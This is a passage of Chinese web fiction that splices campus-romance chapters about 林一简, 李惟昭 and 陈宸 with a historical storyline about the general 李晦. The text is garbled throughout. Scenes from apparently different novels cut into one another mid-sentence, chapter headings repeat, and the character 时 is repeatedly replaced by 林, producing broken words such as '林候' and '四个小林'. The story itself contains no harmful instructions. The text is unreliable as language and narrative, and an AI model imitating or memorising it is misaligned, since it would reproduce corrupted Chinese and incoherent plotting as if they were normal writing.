倒是上首的安思范笑了,语气欣慰:“惟昭去云州这一趟,可真是长进了不少。” 李晦对着上方拱手:“少不更事、行事轻狂。多亏义父宽纵、又仰赖在座诸位照拂,晦铭感于心。” 情绪太复杂,以至于她每次看见陈宸的时候,都相当紧绷。 这会儿也是。 被陈宸这么一问,林一简下意识绷直了点,顿了一下才摇头否认,“没什么。” 这么说着,林一简也不打算找那根失踪的笔了。 她面朝前面坐好,拉开笔袋重新拿出一根来,一副安心等待上课的样子。 陈宸看着对方那腰杆笔直的小学生坐姿,忍不住弯了弯眼、无声地笑起来。好像不是他的错觉,对方每次看见他,都很紧张的样子……像是炸了毛的兔子、特别可爱。 陈宸略微抿了抿唇,压下了被伍徵明吐槽为“你这什么抖S”的笑,顺势在旁边的座位坐下了。 余光瞥见陈宸的动作,林一简:“……” 她痛苦地闭了闭眼。 好吧,她现在可以开始想,一会儿李晦过来、自己要怎么解释这情况了。 但基础课大教室的公共座位。 她总不能拦着不让对方坐啊!! 20-30 第 21 章 第 21 章 朔鄢城。 安恒德也看见了李晦手里的那根笔,但也只是一瞥、全没在意道:“你这点江湖把戏,还是拿去哄元绩吧。” 元绩是安恒德长子,跟在李晦屁股后头混大的,一口一个小叔叔,叫得比亲爹还亲。 安恒德想到这里,还有点吃味。 不过他还是邀请道:“元绩今天还跟我提起你了,怎么样、要来我府上坐坐吗?” 李晦回过神来,摇头婉拒,“不了,这么晚过去,还麻烦嫂子张罗。我明儿个再去吧。” 安恒德见他拒绝,也没强求,点点头说了句“知道了”。 两人在节帅府外分开,李晦一路摩挲着笔,心不在焉地往府上走。 他走神得太厉害,进屋的时候,根本没注意旁边亲卫欲言又止的怪异脸色。 也就在李晦进屋后不过片刻的光景,房门被踹开,一个衣衫不整的女人被扔了出来。 亲卫一看就知道要糟,在李晦发难之前,先一步跪下,“将军见谅,这是节帅的吩咐!” 李晦脸上的怒气稍滞。 他顿了片刻,冷声,“把人给我扔出去,义父那里,我来说。” 亲卫还想说点什么,抬眼就对上李晦冷冰冰的视线,劝解的话顿时噎在嗓子眼里。 他垂首应了“是”,又自觉补充道:“属下稍后自去领罚。” 有点冤。滨阳市中心还处在灯火斑斓的夜生活时间。 李惟昭下了车,直接钻进酒店大厅。 刷了卡回到十五楼套间楼层,他一出电梯,正好路过个穿着酒店工作服的女人。 李惟昭手指玩着房卡的动作一停,直接叫住对方:“邵青青?” 邵青青一开始都没看见他,听到声音突然刹住脚步,回头,认出了李惟昭:“嗯?” “你,你记得我?” “你是……李惟昭学长对吧?” 李惟昭点头,神情自若:“好久不见。” 邵青青压根没想到自己会被这种大神人物记住名字,毕竟当初她和李惟昭仅有的几次接触都是因为林一简才有的。 这都毕业多少年了。 神了,难道牛逼的人连记忆力都跟普通人不一样? 邵青青牢记自己还在工作:“您住在这层吗?有需要的服务?” “还是对我们酒店的服务有什么建议呢?” 李惟昭对邵青青此刻澎湃的心理活动没兴趣,“没有。” 他脑海里浮现前天晚上林一简红着眼睛冲进酒店那气冲冲的委屈模样,说:“那天我在酒店碰着个人。” 邵青青一愣,心想不会吧。 然后就听见他直接点破:“林一简。” 李惟昭扫了一眼四周,回忆那晚的情景,面不改色:“她怎么了?” 最后视线落在邵青青脸上,语气不容置喙:“出什么事儿了。” 他倒是想提醒来着,可是李晦进屋的时候头都没抬一下,他想说也没地说去啊。 * 他这么说着,就要引着人往外。另一边,李晦选定的临时驻营地。 一阵轰隆的巨响,地面仿佛都震了几震。 好在这动静这些天内已经接连出现数次,营中士卒不复一开始的慌乱,但仍旧带着些微的惧色看向某一个方向:这难道就是仙师雷法?果真安恭义那厮背信弃义、惹下天罚。 李晦倒是没在意那些私底下的流言,只是命人盯了一阵,确定手下的兵卒不会因为这动静炸营,便放任自流了。 接下来要干的事够他费心了,他现在没工夫管那么细。 这响声过后,李晦顺着动静找过去。 刚一到地方,就见许玄同正灰头土脸地被掀在一边儿,原本仙风道骨的一张脸上漆黑的污渍和血迹斑驳晕开,他本人却像是全无察觉,愣愣地盯着前方的残骸,口中喃喃:“神、神迹……” 李晦:“……” 他实在没忍住,翻了个白眼:“这是化学。” 那些大字不识的兵卒就算了,解释起来都费劲,这东西好歹是许玄同自己弄出来的,他哪来的那么多神神鬼鬼的想法? 看着眼前的小土坑,李晦忍不住撇了一下嘴。 ……算了,也行吧。勉勉强强够用了。 他挥挥手、让人带着许玄同下去看看大夫。 他这会儿手底下的人不多,暂时能用的人就这一个,可别把脑子给炸坏了。 许玄同这会儿脑中还是一片嗡鸣,耳边还回荡着刚才震耳欲聋的爆炸声,李晦那句话隔了好一会儿才像是延迟似的传进脑子里,他人已经被士卒又拉又抬地带到了军医面前。 许玄同抬头看看眼前的军医,发直的眼珠终于有重新转动的迹象。 半晌,他嘶哑着嗓音、喃喃发问:“‘化学’、是哪路神仙?” 却不料走了两步,石让熊仍在原地没有动弹。 刘老四愣了一下,也不知道脑补了点什么,脸色立刻变得恨意狰狞起来,“那安老贼真是狗*……#@%!” 他以为石让熊是被用了刑,这会儿没法行动。 石让熊摆了摆手,“我无事。只是猴儿情况不好,你带他走吧。” 他这话一出,几人都是愣住了。 旁边一个瘦巴巴的少年一怔之后,更是连忙开口,“这几日兄长们为了我已经受了颇多拖累,我这条贱命死不足惜,怎么能让头儿为了我舍身至此?” 这少年黑黄的脸上隐约能看出点不自然的潮红,嘴唇却是干裂到毫无血色,整个人肉眼可见的情况不好。 天气渐渐转热,先前刺杀的伤口未能及时处理,这会儿已经流了脓。只是他们这会的情形,别说用药了,连像样点的割去腐肉的工具都找不到。众人能做的,也只是照拂着分担了他那份活,让人少些劳累。 石让熊摇头。 不单单是因为猴儿情况不好,他也想留在这里再看看。 他实在没忍住,露出点“见鬼了”的表情,这是那个李惟昭?! 叶竺妍都把话说到这个份上了,林一简也只能跟着点头。 要论清醒还是叶竺妍清醒,好像用不着别人劝什么…… 林一简刚这么想着,就见叶竺妍往后一仰、哀嚎出声,“啊啊啊——但还是好难受啊!呜呜呜一简你陪我出去逛逛吧!我要去商场买买买!!” * 食堂前的空地上,陈宸正和伍徵明往外走呢,抬眼就看见一个人过来的林一简。 伍徵明立刻挤眉弄眼,调侃,“看来咱宸哥要回去再吃一顿了。” 陈宸没理这个促狭鬼,抬手和林一简打了个招呼,然后就眼见着对方目不斜视地从他身边走过,连个眼神都没给。 陈宸:“……” 伍徵明:“……” 隔了好一会儿,伍徵明才抬手拍了拍陈宸肩膀,叹气:“节哀。” 这也太惨了,都上了大半春学期的课,结果在人家眼里依旧是个出了教室就不认识的路人。 陈宸略微尴尬地收回了打招呼的手,还是解释:“我觉得……” 他还没说完呢,伍徵明就很懂地接上,“没看见么!那妹子应该没注意。” 完全一副宽慰语气。 陈宸:“……” 本来没什么的,但是经伍徵明这么一添油加醋,他脸上也禁不住露出点自我怀疑的表情:难不成自己就真的一点吸引力也没有? 第 22 章 第 22 章 A大,学生第一食堂。 欧阳艺眼见着林一简拿筷子戳着米饭,怼到了脸上还硬戳了好几下,忍不住深深叹口气。 林一简被这声音惊醒回神,下意识地,“你吃完了?吃完了先回去吧,不用等我。” 欧阳艺:“算了吧,我怕待会儿你出去,一头撞电线杆上。” 林一简:“……” 这会儿的沉默就很有意味了。 欧阳艺惊讶:“不是吧?真撞了?” 林一简支吾,“没、没有……” 电线杆是没撞,就是被路边台阶绊了下,踉跄往前栽的时候差点磕到树上,多亏她灵巧地稳住……嗯?不对、好像不是她。 林一简终于后知后觉,自己好像被李晦帮了一把。她试探着在心底出声,[谢谢……?] 意识里浅浅淡淡地回了一个“嗯”字,听不出什么语气。 草香木香灌入鼻息,这一刻她居然有一种冲动,想把少年的每一帧都装帧入册。 屏幕上的少年与草木融为一体,明明入了秋,却还有盛夏的光影。 女生挪着按键,往返播放:“你真的很有天赋诶。” “至少构图是完美的!” 生涩的拍摄技巧,让她得此赞誉,多少有点羞愧难当。 她莞尔一笑:“这并不归功于我。” 少年,夏天,光影本就该是一体,她只是用她拙劣的拍摄技巧还原了其根本样貌。 很多年后,她在街上随处可见的大屏上看见他,才明白。 少年其实从不属于她。 只属于这个炽热又温柔的夏天。 明宜中学安排的秋游在期中考后的半个月,美其名曰放松心情,迎接下一场考试。 折指算来,他们已经在明宜中学过了半个学期,期中考李惟昭仍然以期中联考第一的成绩出圈。 路过的、不知情的都会问那个联考第一是谁,成绩怎么这么野。 知情的人就会说他不仅成绩野,长的也很野,他的照片就此肆虐各大高校贴吧,在附近一带掀起浪潮。 他那情书业务也从本校拓展到了外校,秋游那天他甚至在巴士里收到了周边各校学生的情书。 林一简他们班运动会排了第三,去的地方跟李惟昭一样,三天一夜外省古镇游,学校向来抠门,为了节省资金只分配了两辆巴士。 “有一点点。”她没做任何掩饰,肩胛骨猛的绷紧,细微的颤了下睫毛,实在抑制不住眼底细碎的笑意。 她笑的发自内心,毫无理由,幅度渐大,笑到最后她捧着脸,闷在掌心里。 看着她莫名的笑,李惟昭不知为何也跟着嗤了声。辗转反侧一晚上,第二天早上林一简顶着熊猫眼去了公司。 本来想得很好,最后一天去公司要打扮得光鲜亮丽,给所有人一个“裁掉老娘是你们的损失”的末印象。 结果还是一如每天那样狼狈赶时间地来了。 林一简走到工位轻轻叹气,就这么悄无声息地离职了。 能不能给个机会让她随便在哪儿狠狠出口恶气吗。 就在这时,同部门的男同事路过她的位置,脚步很犹豫最终还是停下来,跟她说了句:“以后……多联系啊。” 林一简看着这位“竞争成功”的选手,下意识的善意比其他复杂的情绪来得都快。 她微微露出一抹笑,纯粹恬静:“好,注意身体,别把身体熬坏了,咱们还得再打二十年工呢。” 男同事愣了一下,使劲点头,转身走了。 最后的工作也交接完了,东西也收拾完了,林一简打算最后在这边吃个午饭,下午就直接离开。 她还是来到了那家公司附近的快餐店,林一简吃完东西,出店门口的时候遇到了杨格。 两人碰上得非常偶然,但杨格更像是打远处看见她直接奔来的意思。 看见林一简手里拎着宜家的蓝色巨大杂物袋子,他问:“简简,你最近……还好吧?” 林一简懒得跟他说半句话,转身想走,却又被他拦下。 她只得开口:“好得很,与其假惺惺地说这些,你不如赶紧……” 她话没说完,就被一道女声夹进来打断。 “亲爱的——” 林一简看去,就看见那个叫“小孙”的小三女过来挽上他的胳膊,笑得很甜腻:“在这儿杵着干嘛呀,里面都要没地方坐了。” 小孙扭头,瞥了眼林一简的大袋子,故意阴阳怪气道:“哎呀我听说隔壁楼房地产最近在裁员呢。” “也不知道谁那么惨。” 林一简拎着袋子的手猛地收紧,盯着她的目光暗了下去。 杨格有点想拉开距离,却被小孙死死抱住。 接收到现任女朋友警告的眼神,杨格无奈,看向林一简:“现在大环境不好,被裁肯定也不是因为你不好。” “如果有困难,随时找我。” “再困难也不会比你困难。”林一简忽然说。 她的眼神从这对男女身上扫过,最后弯起眼睛一笑,讽刺意味林显:“毕竟我还没落魄到偷偷出个轨,开房的钱都要找女朋友借的程度。” 小孙的眼神顿然变了,看向杨格:“她什么意思!” 从学校到红炉镇的车程四个小林,到站林金乌滚烫的浇在道路上。 林一简应了声,抱起微单,加快速度跟上。 林一简并没参与她们的吃货运动,因为她比起吃吃喝喝她更向往把古镇的岁月感刻在记忆里。 电脑白痴好不容易学会了使用相机,总会有点上瘾,她觉得照相是记录,往后几年可以翻开相册回忆属于他们的盛夏。 她弯起手肘,朝着两名少女的背影调节焦距,咔嚓一声。 因为是中午,红炉镇又是国内A++著名景点,人流不息。 队伍笔走龙蛇,一眼望不到尽头。 穿街过巷,人群熙熙攘攘,她被路人一拨而过,忽闻手机叮咚声响。 是一条短信- 红炉镇文广旅体局:欢迎来到红炉镇,离光最近的地方。 熄灭手机,她被挤得水泄不通,分不清东南西北。 但她怎么也没料到, 她一转角就撞见了照耀了她整个盛夏的天光。 倒是那边,林一简终于回过神过来了。 “你说工图作业啊?”她眨了下酸涩的眼睛,短暂地放下手里的笔,在旁边翻找起来,“我记得是在——” 林一简还没有找到,倒是旁边的冯歆悦稍微眯了下眼睛。 她指着书柜上层斜斜放在那里的一张纸,问:“该不会是哪个吧?” 林一简恍然地“哦”了一声,连忙伸手去够。 但是等拿下来之后,所有人都沉默了。 好半天,欧阳艺开口:“这是什么?” 她问的是零件剖面图的背后,本该干净整洁的空白区域,遍布着凌乱的线条。 林一简眼神发直,“想分镜的时候随手勾的草稿……” 还是用碳素笔勾的。 欧阳艺/冯歆悦:“……” ……半分钟之后,401寝响出了一声凄厉的惨叫。 叶竺妍沉默地往后缩了缩,力图减少自己的存在感。 她就是问问,没想真的把人拖下水啊。 第 23 章 第 23 章 熬夜补了一晚的工图大作业,林一简第二天体育课的时候,眼前一黑差点栽过去。 林一简婉拒了体育老师让同学帮忙送校医院的提议,后者倒也没强求、只让她在场边休息一会儿。 看周围人的反应,林一简觉得自己大概被当成生理期了。 事实上,她最近忙到过头,姨妈根本没有造访。 总之,林一简在场边歇了一会儿,获得了提前下课权。 她慢吞吞的挪在回寝室的路上,深切地意识到这样下去不行。再这么持续几天,热度接没接住她不知道,她的小命先熬不住了——泼天的富贵也得有命受才行啊! 虽然回去的路上已经下定了决心,但是当真的打开和编辑的聊天界面的时候,林一简还是犹豫了。 大概也知道她最近赶稿非常辛苦,松鼠编辑对她说了很多鼓励安慰的话,也不单单是言语安慰,对方真的很认真地和她讨论接下来的剧情发展,给出了相当多很有建设性的意见,有时候都凌晨了还在回她消息……辛苦的不仅仅是她一个人。 林一简握着手机进行了半天的思想斗争。 恍惚间,一道带着点调侃笑意的声音在脑海中响起—— [说个‘不’而已,有这么难吗?] 林一简愣了一下,差点以为李晦过来了,回神才想起来,这个时间对方还没睡呢。而且李晦这段时间不知道为什么、特别沉默,每次来来去去都不怎么出声。 因为最近漫画太忙了,她虽然注意到了,但是却没有多关注。 种种纷乱的思绪浮起又被压下,林一简终于下定决心,她斟酌着字句键入,[对不起,编辑,最近更新量实在超过我的能力范围了,我觉得我可能接不住这次网络热度] 选修课在周五,选修课任课老师组织大家同林乘坐公交车去往目的地,林一简跟沈岁到的晚,投掷完硬币,405公交就已挤满了人。 选修课的女生看见她们招摇的进门问:“你们干什么去啦?怎么这么晚才到。” 选修老师站在车头她站在车位,沈岁也是毫不避讳的说:“化了个美美的妆,好看吗?” 女生震惊低语:“沈岁你是真不怕被老师逮住啊?” “怕什么,人生就是要寻求刺激嘛,没有刺激何谈人生?” “我成功被你pua到了。”女生合掌叫绝。 “那我还蛮厉害。” 目光扫向车厢侧面,车帘因风浮动,半截搭在椅背,半截被光照耀,车厢里坐满了人,有很多不认识的路人,也有着选修课的学生。 车窗外樟叶错落,光顺着盛夏的缝隙流沙般的漏在透明车窗上,倏地,她只看见地面上投射出一抹阴影。 少年插着兜自上而下,不紧不慢的走到后车门处。 目光偶然相接,刹那又瞥开。她就这么沿着人行道漫步,走到哪儿算哪儿。 一边走,一边试图想出林天的出路。 昼短夜长,滨阳又是处于祖国北部的城市,隔壁省市就临海,所以冬季到了下午五点,城市就已经坠入了墨蓝色的夜幕中了。 天一黑,城市霓虹和穿梭的车灯就占据了主色调,给人一种匆忙又无处可依的虚空繁忙。 林一简走得脚痛了,肩膀背着行囊也开始发酸,她停下来环顾四周,不知怎的竟走到了滨阳城区的大学城附近。 滨阳大部分的顶尖学府都在这附近,所以市民都管这几条街的区域叫大学城。 隔着拦网,对面就是某个大学的篮球场。 晚上篮球场的灯光给的很足,还有很多学生在里面挥洒汗水。 这么冷的天里,唯有这样澎湃热情的地方能够抵抗凛冽。 林一简找了个路边长椅坐下,歇了口气。 她弯腰揉着脚腕,听着隔壁篮球场里球音砸地和男生呼喝的声音。 林一简扭头,在角落的球场看见一对小情侣,男生穿着球衣,正在教女朋友投篮。 男生手把手带着女孩瞄准,球扔出去砸到篮板,两人却笑着依偎在一块。 她望着那一幕,忍不住想起些以前的事。 那时候她体育课选了篮球,然而自己是个运动废物,期末要考的三步上篮练了半个学期都不行,最后还是去找了关系半熟不熟的李惟昭来教。 其实一开始她找的是季霄回学长,但他很忙,直接把她这事推给了李惟昭。 那人虽然一开始损了她几句,不过并没有推脱,直接拉着她到篮球场去练。 她很笨,三步上篮永远分不清哪一步是第三步,要么走少一步,要么走多一步。 李惟昭就在旁边蹲着看她,她生怕丢人又焦急,结果搞得动作更加僵硬。 就在这时,平时总爱耷拉个脸的李惟昭忽然发出一声扑哧。 很轻的一声,但她听得很清楚。 林一简的动作猛地停住,羞愤瞪他:“你,你笑什么!” 李惟昭偏着头,用手臂挡着下半张脸,“没笑。” 但微微颤抖的肩膀和含着笑腔的语气已经出卖了他。 他看过来,染着笑而变得更生动的黑眸格外有魅力。 像一支箭瞬间射中了她,酥麻遍布全身。 林一简脸忽然很热,呼吸也好像更加急促了,被他这么看了一眼,无地自容的羞愤莫名消了一半。 她抠着篮球的皮面,嗓音也变得奇怪起来:“你干嘛啊……” “不干嘛。”李惟昭穿着最随意的卫衣长裤,蹲在原地,修长手指转着地上的篮球。 他的唇线平着,唯有挑起的眼尾透露着笑意。 如此浅淡的笑,却仿佛是全世界最可怕的蛊-术。 李惟昭歪头,上下扫了她一圈,说:“就是忽然觉得,我们做的机器人失败品上篮估计都比你强点。” “要不你俩比比?我有点儿想看。” 如此高级的羞辱,林一简的那点儿少女情怀瞬间被怒火湮灭,她嘭地烧红脸:“李惟昭!!” 乔治明本身就在后车门,他在跟他打联机,见他忽然走过来,问:“你干嘛啊?有位置不坐,跑来我这。” 李惟昭轻嗤:“你太菜了,离得太远没法交流,带不动你。” 看见乔治明在后面磨蹭,他干脆把乔治明的那瓶水拎过来一起扫码付款,他拧开矿泉水,咕噜咕噜饮下,水渍落在唇角,他伸手拭去。 却发现乔治明在边上一直观察着他:“你看什么?” 乔治明拎起矿泉水,没头没脑的说:“我发现你还挺帅的。” “你第一天知道?”李惟昭“呵”了声。 “但有一瞬间,我真的怀疑你是海王。”乔治明神神叨叨。 李惟昭瞥他:“?有病?” “对我这么毒,却人妹子这么好,不是海王是什么?” 虽然这么说,但乔治明还是知道李惟昭并不是有意撩拨。 他跟李惟昭认识的林间不长,大概是他初二转学林候认识的。 当林李惟昭初来乍到,很快就跟班里男生混成蛇鼠一窝,起初他也纳闷,久而久之他也明白有的人就是天生的涵养,生来的魅力。 后来才明白,他对待每个人都有各自的行为模式,他把他称之为——“双标”。 这个人对兄弟毒的很,对妹子却是真的暖。 但久而久之发现他好像对所有妹子又都是点到即止的暖,没什么特别的。 乔治明踢了脚满地错落石子:“我也跟你学学,说不定哪天就脱单了。” 艳阳底下,李惟昭握着水瓶,加快步调跟上队伍,他呵了声:“那你缺少一个必要元素。” * 等确定人彻底走后,林一简飘着脚步走回自己的位置上。 她原地懵懵地坐了半天,抬手轻轻抚上自己的心口,一脸恍惚:刚才那感觉…… ——果然是睡懵了吧!! 第 24 章 第 24 章 林一简正在练习投篮。 距离期末篮球考试还有段时间,她这会儿练习是为了学期中的定点投篮赛。 这种课外活动原则上当然是自愿报名的,但是在执行上总有些出入。投篮赛有男生组和女生组的区分,工科专业本就男女比例悬殊,多数女孩子对于篮球的兴趣都不大。于是,女生组这边,到了实际执行层面几乎成了点名强征。 本来这种运动类的活动,欧阳艺是当仁不让的,但是事情总有意外。 班长:[欧阳她机器人赛正好到了中期检查,时间冲突了。我听说一简你今年选的是篮球课?] 林一简:[……] 她发了一串省略号以示抗拒。 林一简并不明白理解这句“我知道”其中深意,心情如同架子鼓,潮起又潮落。 她感觉这个人真的很神奇。 只要一遇见他,她就会无数次心动。 直到下课铃响起的那一刻,她才从混沌中抽离。 沈岁紧捉她手臂,大声嚷嚷:“天哪啊啊啊啊!!所以你真的认识他啊?什么林候认识的?!从实招来!” 林一简被她那一惊一乍所惊骇:“……?” 林一简没办法,只能把那晚的事情一五一十的交代。 林一简思衬道:“就是学校断电的那天晚上遇见的。” “他帮了我。” 那天是他真正记得她。 但他不知道,这并不是他们的初见而是重逢。 伴随着沈岁高亢亢奋的嘹叫,林间一闪即过。 下周的选修课安排户外实拍,作为第一份剪辑作业的素材。 那天金乌炽热的像火炉,刺眼的光线穿梭过光阴,渗透进树缝钻进。 选修课老师在说今天去的地方是城北一个村落。 离学校不算远。“糖送你。” 李惟昭瞥了眼那两颗糖:“贿赂?” 他环胸,长腿拖着高脚椅转了半圈,然后忽然俯身靠近,近距离审视她:“这次又想让我加谁的微信?” 男性气场压下来,她心虚一刹那,赶紧否认:“怎么会……” “单纯想送你糖吃。” 就是在这样的距离下,林一简第一次有机会这么清楚地打量他这张脸。 睫毛好长,原来鼻尖是有颗痣的啊,这么一看,本来冷淡淡的脸莫名多了几分性感。 这人连痣都这么会挑地方长吗? 林一简握着糖的手指搓了搓,忍着想去摸摸那颗痣的生理冲动,“学长,我没骗你。” “不吃块糖怎么能算过万圣节呢。” 说完,她把糖往他面前推了推,悻悻笑着。 “这次我不会再利用跟季学长的关系套近乎给你牵线搭桥了。” “虽然有可能被讨厌吧……”林一简摸了摸刘海,偏开眼惭愧道:“至少这样不会不尊重你们。” 李惟昭一眼就看出了她遮遮掩掩的忧悒,倒也没有多添温柔:“绝对不会?” 她点头:“绝对不会!” 他姿态疏懒,手指玩着那颗糖,“要是你再敢像之前那样儿,给我乱添麻烦。” 李惟昭挑起眼皮,笑意很淡,威胁着:“我就对外说你是我女朋友。” “我也给你添点乱子,咱俩一块儿麻烦个没完。” 林一简一愣,心跳冷不丁踩空了几拍。 嗡得——耳蜗好像注了水。 什……什么…… 他在说什么啊。 李惟昭把糖撕开放进嘴里,没过几秒皱起眉,含糊问:“你给我的这什么糖。” 林一简回神,看他表情古怪,露出一抹意味深长的笑:“整蛊级别的超辣薄荷糖。” 李惟昭:“……” “店家送的,什么味道啊学长。” 李惟昭压着眉,好像已经快被辣的吐不出话了。 而下一秒,他却说:“你想尝尝?” 包间里回荡着黏腻浪漫的英文歌,婉转的旋律仿佛让李惟昭清冽的嗓音都变了味道。 林一简怔怔看着他,耳后烧起热,一时间对不上话来,“啊,我……” 对方应该只是随便一句,她却莫名想到了很奇怪的地方…… 早在去往选修课前,林一简就被沈岁拽去女厕,她从书包里摸出她的万能化妆包,化妆包里,工具一应俱全,足以完成她的惊世大作。 下课林,沈岁小心翼翼的捉她进女厕,面对女厕镜面,施展她的画功。 沈岁边画边嘀咕:“我这手不行啊,有点手抖,哎,你说你这学画画的,对于画眼线眼影这种是不是一秒上手?” “应该吧?我也没试过。”林一简不置可否。 “那,今天天赋型化妆选手要不要来试试?”之前沈岁怂恿过她很多次,但都被她拒绝,毕竟学校明文禁止,她没干过,也没敢干。 “我帮你望风。”林一简委婉拒绝。 “这样,你都冒痘了,好歹贴个痘痘贴吧?这不算化妆。”沈岁抓住痛点,继续输出。 看向镜面透射出的自己,微弱的光线从门外落进来折出碎光。 她果然冒痘了。 虽然不大,但微微偏红,应该是前几天沈岁带着她吃火锅吃的。 何况这颗痘的位置还在下巴上,看起来确实不太好看。 沉默。 犹豫。 脑海里出现李惟昭的画面,脑子里恰然断了根弦,林一简鬼使神差的从中抽出隐形痘印贴。 “那我只要这个就好了。” 你爸爸果然还是你爸爸。 而且不知道为什么,他动作稍微过界,就感觉脖子心口之类的地方凉飕飕的,搞得他防起来也束手束脚的。可能这就是传说中的“大佬气场”吧? 这练习持续的不久,肖成勉接下来应该还有事,没多一会儿就提出告辞,临走前满脸恋恋不舍,“哥!你下次打球一定叫我啊!今天是特殊情况,我平常很有空的,随叫随到!” 李晦的回应肉眼可见的敷衍,但这丝毫没有浇熄对面的热情。 一直等人走后,李晦摇了摇新加了联系方式的手机,缓着声道:[资格。] 林一简还是懵了一会儿,才想起先前两人关于“朋友”那个话题的讨论,以及她对李晦那“没资格说她交不到朋友”的反驳。 林一简:…… 幼不幼稚啊?! 而且清醒一点!不是加了通讯录好友就是“朋友”了!!是谁刚才对着放在一旁的手机,睁眼说瞎话地说“没有”的?你哪怕说句“坏了”呢? 第 25 章 第 25 章 那天投球练习的成效如何林一简还不知道,她只知道第二天睡醒之后,梦回开学第一次跑步后的感觉,仿佛再一次被人狠揍了一顿。 甚至比那次还过分一点,除了浑身酸疼之外,林一简能够明显感觉到自己肌肉拉伤了。 罪魁祸首非但没有丝毫悔意,反而振振有词,[你也太脆了。] 林一简:[……] 我这么脆还真是对不起了啊(冷漠脸)。 比起这点身体上的后遗症,这场练习还带来了另一个问题更令人头疼。 勉之勉之:[哥,最近有空没?出来约球啊] 这个“勉之勉之”就是那天的那位帮李晦捡了半天球的材料系学长。 是的,林一简莫名其妙多出一个锲而不舍向她约球的球友。 答应是不可能答应的。 别说林一简现在二级残废状态,连日常活动都快照应不过来,就是她胳膊腿都没事,也不想再重刷一遍当天经历了。太尴尬了啊! 乔治明大喊大叫:“……哎哎哎,我被揍了,救我。” “废物。” 后车门因他们而鸡飞狗跳。 车厢嘈杂,但她还是能听清他们的对话,林一简看向刚刚让出的那个空位上。 她用手抵了抵沈岁,恍惚道:“有位置。” 沈岁如临大喜,半晌才抬眸纳闷问:“不对啊,有位置,你不坐吗?” 林一简对这种事情没什么执念,她摇头:“你坐吧,我习惯站着。” 她微微侧着身,余光落在李惟昭身上,少年一身校服搭在肩头,散漫又桀骜。 她其实也不是不喜欢落座,还有一个原因是这里可以不动声色的混迹在人群里,更清晰大胆的偷看他。 引擎声轰鸣,汽车停靠,车上的人越来越多,车上不仅有学生,甚至有不少路人,车厢拥挤不堪。 大脑似有一根弦拉着。 莫名有些不安。斗胆加上李惟昭微信又很成功地把对方惹怒后,林一简在人生社死履历上画上了浓墨重彩的一笔。 对方扔过来几句很冲的话之后,她像个被吓炸毛的小家简似的半个字都不敢再发了。 装死坐等被对方怒删。 林一简一直在想办法编个借口告诉舍友,但又陷入在答应的事没有替别人做到的愧疚里迟迟开不了口,生怕因为这件事和舍友生嫌隙。 然后,她又在学生会新生面试上见到了李惟昭。 高中时期李惟昭虽然是学生会里的干部,但以她的印象,对方并不是热衷于这些活动的人,每次在高中学生会见到他,他也总是懒洋洋靠在窗边任听安排,大多时间都垂眸玩着手里的小玩意。 所以林一简在大学学生会再见到他,是有些意外的。 没想到这人到了大学还会进入这些看上去“又麻烦又累”的社团里。 大四的学长学姐们都忙碌在实习和毕业论文当中,所以学生会就由他们大三的干部们挑起大梁。 这次负责新生面试的也都是大三的学生们。 林一简坐在后面,面对面试的那点紧张全都因为李惟昭的存在被淡化了。 林林是坐在最靠边位置的人,却无形中吸引了在场大部分人的注意力,尤其是女生的。 他和其他干部一样穿着崇大校服的T恤,下身就是最简单的黑色工装裤,这样简单的穿搭却丝毫无法削弱他的魅力。 面试程序里基本都是其他四五个学长学姐在说话,他就跟个吉祥物似的坐在那儿垂着视线翻简历玩儿。 没吱过声,没抬过眼,散漫不羁却又没人敢管他。 真是把孤僻傲气表现到极致了。 林一简看他对这事也不上心,更放心了。 在她眼里,过去一两周了,超市搭讪加上微信招惹这两件事在这种大人物眼里肯定早就过眼云烟,忘得连复兴号都追不上。 于是她把专注力都投在面试上,等轮到她的时候,扬起自信准备到前面去。 学姐念到下个名字:“好了下一位,18经管林一简。” 就在声音落地,在这一瞬间。 李惟昭翻页的手指顿住,掀起眼皮。 视线如捕猎的鹰爪精准地隔空抓住了她的目光。 林一简刚要坐下的动作僵在中途,心跳猛地漏下去一拍。 李惟昭冷淡淡的视线仿佛会说话。 让她那一瞬间仿佛读懂了他的眼神。 明明隔着距离,她感觉有一道恶心视线黏在她的身上。 她抬眸,猝然与一个中年男人对上视线,中年男人吹着口哨侧目。 林一简低下头,往外挪了两步 。 没等她落脚,身后落下了一道阴影。 少年勾着立柱,手机里的游戏画面仍然噼里啪啦的响动,径直挡过中年男人的视线。 乔治明还在远处嚎叫:“老李,你是不是有多动症啊,一会儿站这一会儿站那。” “你身上有汗臭,臊得慌。” 林一简站在他的身前。 听见他的声音,心脏被重重提起,莫名的安全感蔓延着全身。 明明隔了有足足三十厘米,但她这一刻却觉得她们离得那么近。 去往村落道路崎岖,来路颠簸,公交猛的刹车,停靠在一侧的公交牌前,他单手勾住立柱。 因为惯性整个人向前倾去,肌肤相贴一瞬,又迅速抽手而离。 克制又疏远的距离,让她的心情跌入谷底。 汽车到站的那一刻,李惟昭觉着口渴,和老师招呼了声买水,小卖铺就在公交车站旁边。 他刚踏下后车门,只听到身后有一个女生在喃喃说:“谢谢。” 似乎是在为刚刚他的行为致谢。 脚步停住,李惟昭双手插在兜里,侧目微扬:“举手之劳。” 乔治明跟在他身边,见他快步走去小卖部,李惟昭提起一瓶水问小卖部的店主:“多少钱?” “三块。” 真的很平静很冷静,一点都不阴阳怪气。 但林一简还是觉得怪。 太奇怪了啊! 她宁愿李晦像之前一样和她吵起来。 像现在这样,总有种石头还没落地、靴子只掉了一只——那种悬而未决的感觉让人的心不自觉地提起来了。 陈宸也注意到了林一简的走神。 他一边放着托盘,一边偏过头来看,歉意道:“抱歉,一直在说我的事,是不是很很无聊?” 林一简回神,她连忙摇头,“不不,很有意思。你看事情的角度真的很特别。” 和同龄人比起来,陈宸的眼界相当开阔了。 听到这里,李晦终于忍不住嘲讽地冷笑了一声。 ——“特别”? 毛还没长齐就想开屏,屁股都露出来了。 第 26 章 第 26 章 林一简这会儿正在男生宿舍楼下,等着陈宸给她拿K语的资料。 之前食堂聊天,陈宸得知林一简学习K语是想考级。 是的,理由就是这么简单粗暴。不是对K国有什么兴趣、也不是对语言有爱好,就是为了那张等级证书。更确切地说,是为了那张证书带来的第二课堂的素质拓展学分。 为了鼓励学生全面发展,当代大学也算是用尽手段,运动打卡就不必说了,将学习带到课堂之外也是校方一向积极倡导的内容,第二课堂的学分制度应运而生。 但是对林一简这种各类活动的消极分子,这样的制度就一点也不友好了。 不过,她也有自己的应对方法——考级考证。 不谦虚地说,她还是很擅长应付各类考试的。 